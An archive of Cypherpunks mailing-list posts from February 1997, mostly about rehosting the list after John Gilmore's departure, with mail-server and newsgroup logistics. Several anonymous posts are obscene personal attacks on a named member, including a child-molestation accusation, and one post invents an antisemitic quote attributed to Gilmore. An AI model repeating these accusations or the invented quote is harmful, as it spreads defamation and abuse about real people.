The voting process is not that bad - it'll easily pass if a fraction of
people now subscribed to this mailing list votes yes.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Wed, 12 Feb 1997 13:14:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks@Cyberpass.net New List
Message-ID: <v03007803af27dc440e53@[206.170.115.5]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I am gratified to see that several people have stepped forward to offer
their services to host this list. I have been contacted by various list
members to host the list here at Infonex. I think there are several reasons
I was approached to do this.

As a long time remailer operator I am used to taking heat for the services
I offer, and dealing with attacks on the services I run. As the owner and
President of Infonex, the list is in no danger of being pulled by the
administration of this site. As the author of Mixmaster I am reasonably
well known (and I hope respected) member of the list. I have been
completely uninvolved in the politics which have plagued the list of late.

I personally favor the multi-node list model, where no one site can censor
the list, the loss of any one node is not catastrophic, and the load on any
one machine is not excessive. Unfortunately I don't think it will be up and
functional in time for the transition. I have already set up the list on my
majordomo server and subscribers are welcome now. The list address is
cypherpunks@Cyberpass.net and the subscription address is
majordomo@Cyberpass.net. The list on my server is subscribed to the
unedited version of the current cypherpunks list. Once the multi-node list
system is perfected I will integrate this list with the other nodes.

Having dealt with the abuse heaped on remailer operators, I think I have an
inkling of what John Gilmore has withstood for years. He has agreed to
forward his list to mine (and possibly others) for a while after the 20th.

It is my opinion that the primary Cypherpunks list should be completely
uncensored and unfiltered. An ecology of filtered lists has developed in
exactly the way many predicted they should. For the record I regularly read
only a filtered version of the list, and subscribe to the full list only to
be able to read referenced articles which were filtered.

	-Lance Cottrell

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBMwIyFMogYxMMzklZAQFTzAf+Jya8WIdWpZhyialw6GtGbj3D4mQp0PRJ
+J4cBn3qCXX4sLkPcO9Cn0+3Sea20yclvZh9KXXlVM8RxGwzOhVeDDzuQ8dX+LwG
QQDdjYfzUAyoSk3OJjWj92DXEZmyEGerahYdoIB7HkIkFw+OY6lJ56cTYUZvKlHe
XkJakJ7F5zKdZitvx3wl7Qj6j2lMUh3SegDKz4Ig+WoOe7odbN2F6FDbp1t8WlvI
b5YjhwsaOXJ56/ZuWDUuK/yjgq7obPHCtdR3jANIq+Ch01HD+idsU/CH4GCwgiNU
7/GLO+FWlrjL3QIVrl13GiixJFu70Ng37KMAbkoaPqL1Cnip1A4g/g==
=fcW6
-----END PGP SIGNATURE-----

----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/ 

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Wed, 12 Feb 1997 13:13:45 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702122112.NAA22766@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


"Against Moderation" writes:
> Your bigotry seriously undermines the effectiveness of any
> anti-censorship arguments you make.  Are you just trying to get
> everyone to hate those who oppose censorship on cypherpunks.  

The relevance and applicability of an anti-censorship argument has
nothing to do with the non-related personal positions of advocates or
opponents of that argument.

Arguments should not be won or lost by the reputation of the arguer
or one risks one's own manipulation by irrelavent data.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

           He who has made a door and a lock, has also made a key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "chefren" <chefren@pi.net>
Date: Wed, 12 Feb 1997 04:15:37 -0800 (PST)
To: John Gilmore <cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702121214.NAA19105@mailhost.pi.net>
MIME-Version: 1.0
Content-Type: text/plain


On 11 Feb 97 at 3:54, John Gilmore wrote:

> I've come to the conclusion that I'm not willing to host the
> cypherpunks list any more.  It's not the true assholes that brought me
> to this decision; it's the reaction from the bulk of people on the
> list: suspicion, flamage, and criticism with every attempt to improve
> things.  I noticed few people volunteering some of their own time,
> money, or machines to help out.  Almost all the suggestions were
> advice for *other* people to implement:


Hm...

In the year 1513 or 1514 someone who could be an Honourable 
Member of this list (if one could be one...) wrote:


> There is nothing more difficult to take in hand, more
> perilous to conduct, or more uncertain in its success,
> than to take the lead in the introduction of a new order
> of things.     <Niccolo Machiavelli, Il Principe>


Please stop at looking too much on how people scream about
your new ideas and continue this list the way you like
it!!!


I think it's Your Machine and we have to respect your
decision to pull the plug, nobody should blame you for
that, but please listen a little to the 1000+ people who
don't scream and are obviously happy with the list and
respected your right to do the "sandy filter experiment".


+++chefren




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Wed, 12 Feb 1997 13:19:36 -0800 (PST)
To: Dale Thorn <paul@fatmans.demon.co.uk>
Subject: Re: New group
In-Reply-To: <199702121600.IAA22395@toad.com>
Message-ID: <v03007804af27e352b717@[206.170.114.18]>
MIME-Version: 1.0
Content-Type: text/plain


I have alt.cypherpunks on my server (all 1 message). I would be happy to
feed that group (and alt.anonymous.messages) to any news server that asks.

	-Lance

At 6:38 AM -0800 2/12/97, Dale Thorn wrote:
>Paul Bradley wrote:
>> Well despite the obvious problems of propogation I thought it was time
>> someone actually did something to get us a new home, even if it`s only
>> temporary. So I have created alt.cypherpunks... See you all over on
>> usenet!...
>
>I pressed the URL alt.cypherpunks and my Netscape server said
>"no such thing" or words to that effect.


----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Wed, 12 Feb 1997 13:18:41 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702122118.NAA22810@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


ISP_Ratings writes:
>   I hate censors Dr. Grubor.  Dave says hate is a destructive 
> emotion but when properly channeled it can be quite valuable.

I didn't exactly say that. Hate is merely an absence of harmony,
and destruction is sometimes appropriate. What I did say was that
the best way to strengthen an enemy is to hate them.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

The King decided to force his subjects to tell the truth. Nasrudin was 
first in line.  They asked him, "Where are you going?  Tell the truth
or be hanged"  "I am going," said Nasrudin, "to be hanged on that gallows."  
"I don't believe you."  "Very well, if I have told a lie, then hang me!" 
"But that would make it the truth!" "Exactly," said Nasrudin, "your truth."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Wed, 12 Feb 1997 13:17:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: anonymity and e-cash
Message-ID: <v03010d01af23f7d7467d@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain


The NSA's research report on e-cash says:

	"The ideal situation (from the point of view of privacy advocates)
is that neither payer nor payee should know the identity of the other. This
makes remote transactions using electronic cash totally anonymous:  no one
knows where Alice spends her money and who pays her.

	"It turns out that this is too much to ask: there is no way in such
a scenario for the consumer to obtain a signed receipt.  Thus we are forced
to settle for payer anonymity."

Keeping in mind I am only a lawyer, my skim of Schneier (2d ed.) didn't
illuminate.  The discussion of digital cash seemed to assume no payee
anonymity.  But the immediate previous section of dining cryptographers
involved (it seemed) recipient untraceability.

Is payee anonymity technically possible?  Under what conditions?

If so, is the issue social, e.g., as NSA notes, the lack of a signed receipt?

Thanks,
Lee






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Feb 1997 12:12:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Germany Versus Scientology
In-Reply-To: <33015976.5514@gte.net>
Message-ID: <JHZ12D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Evil se7en wrote:
> > I have posted a rather lengthy story about Germany's war against the
> > Scientologists. It was long enough to preclude mailing it directly to the
> > lists, so I have put it on my web site. You may find it at:
> 
> The L.A. Times ran a very impressive two-page article on this last
> week.  The text compared the current steps by the German govt. to
> the steps taken against Jews by the Nazi govt.
> 
> I happen to believe that Scientologists are dangerous, for how
> quickly they can ruin someone's mental state.  But the article
> is interesting for the comparisons....
> 

"I happen to believe that Jews are dangerous, for how quickly
they can ruin someone's mental state." - John Gilmore

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Feb 1997 12:12:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks-related lists on toad.com
In-Reply-To: <3.0.1.32.19970211212158.0067c7a0@popd.ix.netcom.com>
Message-ID: <5iZ12D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> Hi, John - thanks for supporting and putting up with us all these years.
> How do you feel about continuing support for the cypherpunks-related
> lists that are also on toad.com, coderpunks and cypherpunks-announce?
> 
> I'd guess that if we move the cypherpunks list to another machine,
> rather than mutating it into alt.cypherpunks, the -announce list
> should probably also move once the new list is working.
> 
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 

If NoCeMs were used to 'highlight' specific subsets of traffic, there'd
be no need to have separate forums: just let lmmmarcathy (or perry metzger)
highlight cryptorelevant traffic, and let Gilmore (fart) highlight announcemen

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Wed, 12 Feb 1997 13:25:10 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Is "alt.cypherpunks" the best choice?
Message-ID: <199702122116.NAA07232@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks)


At 2:49 PM -0600 2/12/97, Igor Chudov @ home wrote:

>It is too late to stop alt.cypherpunks, but if I had to make a
>prediction again, I would predict that soon posters will BEG to help
>them create comp.*.cypherpunks, because of spam and alt.flamage.

Perhaps some will, but I've been a reader of many alt groups for many
years, and have not found them to be unusable. Alt.religion.scientology,
for example, has been a robust forum for discussion (and argument, of
course!) about Scientology.

My fear about using a "well respected" name is that the usual calls for
moderation may end up with it being moderated! And the well respected
domains are often plagued with threats by various participants that
_others_ are being "off topic," with threats to send letters to sysadmins
advising them that one of their users is debating an off-topic subject.

I have a fair amount of respect for Igor, so my comments here should not be
taken the wrong way. To wit, I recall that shortly after the "moderation"
thing began on Cypherpunks@toad.com, Igor called for Sandy to start
blocking "libertarian rants" and "crypto anarchy" discussions, apparently
feeling these are not proper Cypherpunks topics. It could be that a
"sci.crypt.cypherpunks" group, for example, would result in pressures on
sysadmins to discipline those who post "off topic" things.

(Again, I'm not saying Igor himself would do this. But there would be a
temptation for some to do so.)

For me, I can easily scan even a high volume group like
alt.religion.scientology for threads of interest (I use "NewsWatcher YA," a
good Mac-based threaded newsreader, with even support for anonymous
remailers built in). If I can read a.r.s., I can read a.cp without any
trouble.

It works for me.

--Tim May

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 12 Feb 1997 13:38:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Diffie Hellman signatures
Message-ID: <199702122137.NAA02702@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dead Vomit the self-admitted child molester possesses a
rudimentary dick less than one inch long, half the size of his
mother's clitoris, that barely makes a fistful. Thereby hangs the
root of this Jew-hating sissy's sick fixation on little boys and
Usenet forgeries.

    _   /|
    `o_O'   Dr.Dead Vomit
     ( )
      U






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mfisher@ash.nl (Monica Fisher)
Date: Wed, 12 Feb 1997 04:43:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: please
Message-ID: <3301BAF6.48F4@ash.nl>
MIME-Version: 1.0
Content-Type: text/plain


Please take mfisher@ash.nl off of your mailing list




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Wed, 12 Feb 1997 12:48:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Info please!
Message-ID: <199702122048.NAA05900@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimmy Vagina K<ankersore> Of The Minute is so in love with himself,
he cries out his own name when orgasming. Then again, no one else is
ever around.

   _<_
  (_|_(  Dimmy Vagina K<ankersore> Of The Minute
\-._|_,-,
 `-----'






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 12 Feb 1997 10:57:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: whois cypherpunks.org ?
Message-ID: <1.5.4.32.19970212184941.006e33c4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


On the Ft. Meade addresses for two of the cpunk domains, was there
not a humorous explanation for this posted a couple of years back? 

Dimly remembered: there's a town of Ft. Meade as well as The Mad Fort
itself, or something like that, and that a mail drop would be handy for
swapping useless bits of bs-buffer overflow.

If this is now classified, hit D, Degausse and deodorize your Farradage!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 12 Feb 1997 11:53:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Network of majordomos (fwd)
Message-ID: <199702121959.NAA01855@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Eric Murray <ericm@lne.com>
> Subject: Re: Network of majordomos (fwd)
> Date: Wed, 12 Feb 1997 09:20:04 -0800 (PST)
> 
> Jim Choate writes:
> > 
> > > From: Greg Broiles <gbroiles@netbox.com>
> > > Subject: Network of majordomos
> > > 
> > > I still think you're just rediscovering Usenet technology. Instead of
> > > installing Majordomo, why not install INN, pass traffic as newsgroup(s) (if
> > > you don't like alt.cypherpunks, you could simply start your own top-level
> > > cpunks group(s)), and leave your NNTP port(s) open (or read-only, if you're
> > > an evil CIA brain-stealing censor) so that cpunks at large could connect with

> > Did you get it running last nite Greg? When do you expect to be able to
> > handle traffic?
> 
> Jim, this sort of petty back-biting is exactly what we DON'T need.

Huh? I just inquired as to whether he had done anything with his suggestion.
Nothing petty or back-biting at all. We've had what 2 days warning? Already
there are 2 majordomo's which are in the process of setting up, we have
a third waiting on name registration and setup, and finaly one that
I haven't heard back on as to the validity of the original offer. I would
very much like to have a mail-to-news gateway involved. If either of you
come online you are welcome to get feeds from SSZ (can't speak for the
other remailer operators). There are already about a dozen test subscribers
on SSZ and ask Igor about algebra.com. I suspect we will have the two
list servers at SSZ and algebra connected within 24-48 hours. Right now
Igor is setting up the cpunks-hosts list for planning and as soon as at
least 1 more person I know of gets on we will be ready to go on the
various mods on the SSZ end.

> I understand how much fun it is to build something new, but Greg
> is correct, Usenet news already does what you want and it isn't any harder
> to set up than Majordomo (I've done both more than once).  I'm willing to
> set up a news server to serve a private (not under Usenet hierarchy)
> cypherpunks hierarchy, as long as I'm not the only one.

So when do you expect to go live? Would you mind clarifying what you mean
by the only one?

> I also think that you and Igor and whoever else should go ahead with
> your distributed Majordomo.  And people with other plans should go through
> with them also.  I don't see the inevitable seperation of
> the list into fragments as being a problem (more like the cross-posting
> between the fragments will be the problem). Eventuallay, as the systems
> evolve and people switch between them one will gain the most readership
> and become the dominant way of propagating "the list".  But the
> information will get out, somehow, no matter what.

It could happen. I don't hold to the 'medium is the message' theme
however. If we can arrange a mail-news feed then the distinction is moot.
Some people don't want to stay up to date and involved, newsgroups are
great for them. Mail lists however offer a more immediate interaction.
Then for the more scholarly we should have archive sites available with
as much of the list/newsgroup traffic as is possible. So far no body has
offered to act as a archive site, any takers?


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 12:28:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: List-Managers list info
Message-ID: <01IFBXDRL4FQ9AN99E@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"Majordomo@GreatCircle.COM"  4-AUG-1996 00:00:26.72
To:	IN%"EALLENSMITH@mbcl.rutgers.edu"
CC:	
Subj:	Welcome to list-managers

Welcome to the list-managers mailing list!

Please save this message for future reference.  Thank you.

If you ever want to remove yourself from this mailing list,
you can send mail to <Majordomo@GreatCircle.COM> with the following
command in the body of your email message:

    unsubscribe list-managers EALLENSMITH@mbcl.rutgers.edu

 Here's the general information for the list you've subscribed to,
 in case you don't already have it:

Description
===========
This list is for discussions of issues related to managing Internet
mailing lists, including (but not limited to) methods, mechanisms,
techniques, policies, and software (in general; questions about
specific software packages should be directed to the mailing list
dedicated to that particular package).

Technical questions regarding particular software packages (for
instance, Majordomo, LISTPROC, ListServ, etc.) are NOT appropriate
for the List-Managers mailing list.  They should be directed to the
mailing list dedicated to that particular package (for instance,
for Majordomo, that's Majordomo-Users@GreatCircle.COM).  Check the
documentation that came with the package to find out where the support
list for that package is hosted.

This list is an outgrowth of the "Mailing Lists" workshop session
at the USENIX System Administration Conference (LISA VI) in Long
Beach, CA, on October 22, 1992.

This is the undigestified version of the list.  All messages sent to this
list are immediately forwarded to members of the list.  The digestified
version of the list is List-Managers-Digest@GreatCircle.COM.

Policies
========
You can subscribe a local redistribution list or a gateway to a local
newsgroup, as long as whatever you do is local to your site.  This
restriction makes it much easier for me to track down mailer problems.

I'm very aggressive when it comes to bounced email.  If email to you
starts bouncing, I'll probably drop you from the list fairly quickly;
you'll have to resubscribe when you get the problem fixed, and retrieve
the archives to find out what you missed.

Archives
========
All messages to the list are archived.  The archives are available via
Majordomo using the "get" command (send "help" in the body of a message
to "Majordomo@GreatCircle.COM" for more info), or via anonymous FTP from
host FTP.GreatCircle.COM in directory "pub/list-managers/archive".  The
archives are broken down by year and month, and are stored in files named
"list-managers.YYMM".  The copy of the archive available by anonymous FTP
is updated every night at 2am local time (0900 GMT in the summer, 1000
GMT in the winter).

For further information, contact:

Michael C. Berch
Postmaster and list manager, Great Circle Associates
mcb@greatcircle.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 11:06:56 -0800 (PST)
To: shamrock@netcom.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <01IFBXHQGMCA9AN99E@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"shamrock@netcom.com"  "Lucky Green" 12-FEB-1997 04:22:39.31

>Everybody with a web browser has access to alt newsgroups via
>http://www.dejanews.com/

	A: not all alt newsgroups
	B: not in an anonymous fashion (the anonymizer blocks from
		requesting files from dejanews)
	As someone not currently on USENET, I'd request that _somebody_
put up a bi-directional gateway; I'll put in a request to
list-managers@greatcircle.com for advice & suggestions, and will
suggest that it get cc'd to cypherpunks@toad.com.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 11:09:13 -0800 (PST)
To: list-managers@greatcircle.com
Subject: Need a good bi-directional mail-news gateway
Message-ID: <01IFBXLR8Z009AN99E@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


	Hi. The cypherpunks list is going through some major rearrangements,
and it appears that we need a bi-directional mail-news gateway for the new
group alt.cypherpunks and for whatever list(s) come out of the clouds of dust.
(The list(s) in question may be done in a distributed fashion across many
different machines, to lessen volume (1000+ subscribers, 100+ messages a day),
crash vulnerablity, and other problems.) Anybody have experience in running
a _really_ high-volume mail-news gateway (or in running distributed lists)?
Please cc: any replies to cypherpunks@toad.com.
	Thanks,
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Wed, 12 Feb 1997 12:12:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702122018.OAA01873@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 12 Feb 1997 14:22 EDT
> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>

> 	Umm... because you'll eventually accumulate _lots_ of addresses
> that don't work, which will slow things down tremendously in sending
> mail out?

The current subscription is between 1,000 and 2,000 I don't think that is
_lots_. All we need to do is count the number of bounces per address in
a given period, the SSZ end is trying to decide between weekly or
monthly cleanings, and then clear that address. At no point would I need
to archive the original bounce.

> >I can verify this. If I was not already having to deal with these problem
> >as a current mailing list operator I certainly would not take on the
> >job. It is one of the reasons I STRONGLY suggest anyone serious about this
> >should use the resources to make money as well. Anyone capable of setting up
> >and operating such a remailer system is at least capable of basic skills.
> 
> 	Well, loki@cyberpass.net has made the offer to host the entire
> list... and Lance is certainly making money at it. While this would have
> some problems in comparison with the distributed list idea (namely more of
> a choke point), it would decidedly help.

I certainly hope they get a cpunks address made available. I will certainly
subscribe cpunks@ssz so that the distributed remailer will benefit from 
that input. However, one of the major realizations is that as long as one
anything is involved in the list it is capable of being shutdown at any
time with no warning. It also makes it much easier to compromise. I would
like to see servers in several countries myself.

> >Is anyone interested in acting as a mail-to-news gateway?

Want to volunteer?


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 12:15:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: List for discussing many majordomos (fwd)
Message-ID: <199702122021.OAA01881@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 11 Feb 1997 22:46:03 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: List for discussing many majordomos

> Yes, this is a good idea. One of the proponents of the "many majordomos"
> project apparently has plans to impose his own ideas about intellectual
> property on the project, and this seems like a pretty serious thing for a
> setup that's allegedly going to prevent censorship. We need a place to
> discuss this.

Please explain how making submissions de facto public domain censors
anyone?


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 12:22:55 -0800 (PST)
To: ravage@EINSTEIN.ssz.com
Subject: Re: Cypherpunks Distributed Remailer
Message-ID: <01IFBY5GYONI9AN99E@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 12-FEB-1997 11:59:08.20

>> Date: Tue, 11 Feb 1997 19:18:46 -0600 (CST)
>> From: ichudov@algebra.com
>> Subject: Re: Moderation experiment almost over; "put up or shut up"

>> John Gilmore wrote:
>> > A pentium is definitely up to this task.  I've been running it the
>> > whole time on a slower 40MB SPARCstation-2 (that also runs netnews and
>> > general computing).  Give it a big /var/spool partition (mine is 60MB)
>> > because every message will sit in the queue for days (*somebody* on
>> > the list will have an unreachable name server or MX server until the
>> > msg times out).  Give it lots of RAM and paging space, since each
>> > sendmail process takes about 2MB virtual, 1.4MB physical, and you will
>> > have dozens running at the same time.

>My approach to this problem has been to use a 1G drive and mount the entire
>file system on it. Swap and MS-Dos each get their own partitions. This
>allows the use of the entire drive as a buffer. I am in the process of
>adding another 1G in approx. two weeks with the intent of moving /home off
>the main drive. This not only gives the system more space but the users as
>well. I set swap to 4x main ram. I use Linux and have it as one giant
>partition even though suggested is blocks of 16M, works for me (YMMV). Would
>be minor to monitor df and alarm when it gets to 200M or something.

>I must admit however that I am looking at a faster mbrd. and a bigger hard
>drive in the immediate future to make up for the extra load I expect. Had
>not really planned on the remailer project however...

>> > You'll need a BIG mailbox for the bounce messages, and someone (or
>> > some unwritten software) to scan it every day or two and delete the
>> > lusers whose mailboxes are full or who dumped their account without
>> > unsubscribing.  The bounce mailbox on toad gets between 1 and 4MB of
>> > email a day; more when the list is under attack.

>How about dumping the bounces to /dev/null? I shure don't care if some
>bozo's (other than mine that is) mailbox goes away.

	Umm... because you'll eventually accumulate _lots_ of addresses
that don't work, which will slow things down tremendously in sending
mail out?

>> > The real issue is how willing you are to put your own time into
>> > dealing with problems.  Not only do things go wrong by themselves, but
>> > there are malicious assholes in the world who will deliberately make
>> > trouble for you just because they like to.  Spending a day or two
>> > cleaning up the mess is just part of the job.  Check your level of
>> > committment two or three times before taking on the task -- so you
>> > won't end up getting disgusted after a month or two and putting the
>> > list's existence into crisis again.  It's not a "set it up and forget
>> > it" kind of operation.

>I can verify this. If I was not already having to deal with these problem
>as a current mailing list operator I certainly would not take on the
>job. It is one of the reasons I STRONGLY suggest anyone serious about this
>should use the resources to make money as well. Anyone capable of setting up
>and operating such a remailer system is at least capable of basic skills.

	Well, loki@cyberpass.net has made the offer to host the entire
list... and Lance is certainly making money at it. While this would have
some problems in comparison with the distributed list idea (namely more of
a choke point), it would decidedly help.

>> Another suggestion may be to set sendmail expire option to one day
>> instead of five so that messages that cannot be delivered would bounce
>> faster and not clog the queue.

>I like this idea very much. Myself I would set it for like 4 hours or so and
>if it couldn't be delivered then bye bye. Another motivation for selective
>sites to operate as archives without themselves being remailers.

>Another issue related to this is at what point to unsubscribe accounts. It
>seems to me that if the address times out some number of times it should be
>deleted.

>Is anyone interested in acting as a mail-to-news gateway?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 12 Feb 1997 14:29:23 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Network of majordomos (fwd)
In-Reply-To: <199702121517.JAA01295@einstein>
Message-ID: <3.0.1.32.19970212143303.027b9b20@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:17 AM 2/12/97 -0600, Jim Choate wrote:
[quoting me]
>> Usenet technology does exactly what you're describing: it's a distributed
>> database of messages designed to facilitate each server getting its own
copy
>> of every message, and holding it locally for distribution to interested
>> readers. Other people have been kind enough to write, debug, and document
the
>> software - all you have to do is install it. This could be running
tonight. 
>
>Did you get it running last nite Greg? When do you expect to be able to
>handle traffic?

Yes, I installed INN and ran a few hundred test messages through it last
night. My machine will be on the net full-time Thursday or Friday. Will yours
be ready then, too? 

If you need some help setting it up, let me know. It can be a little tricky
if you haven't done it before. 


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Wed, 12 Feb 1997 13:35:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STEGO] e$
Message-ID: <199702122135.OAA07459@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dumbbell L(agging) Viscera K(rud) Of The Moment was delivered by a
vet, like the swine he is.

 v-v-v-@@-v-v-v
      (..)     Dr.Dumbbell L(agging) Viscera K(rud) Of The Moment






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Otto Matic" <ott0matic@hotmail.com>
Date: Wed, 12 Feb 1997 14:41:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: META: Censorship is Going Way too Far
Message-ID: <199702122241.OAA14111@f5.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


And I was very surprized to see this posting in the flames trash can!!
Tim is just calling the Cypherpunks to task.

Tim, what have you done to deserve such treatment?  What agenda is it that
makes it seem as if the machine hosting this mailing list will be in the wrong
hands?  Like the shadow government?

Sorry they are giving you the Dr. V. treatment!


>From cypherpunks-errors@toad.com Tue Feb 11 05:57:27 1997
>Fellow Cypherpunks (of the virtual community, even if not part of any
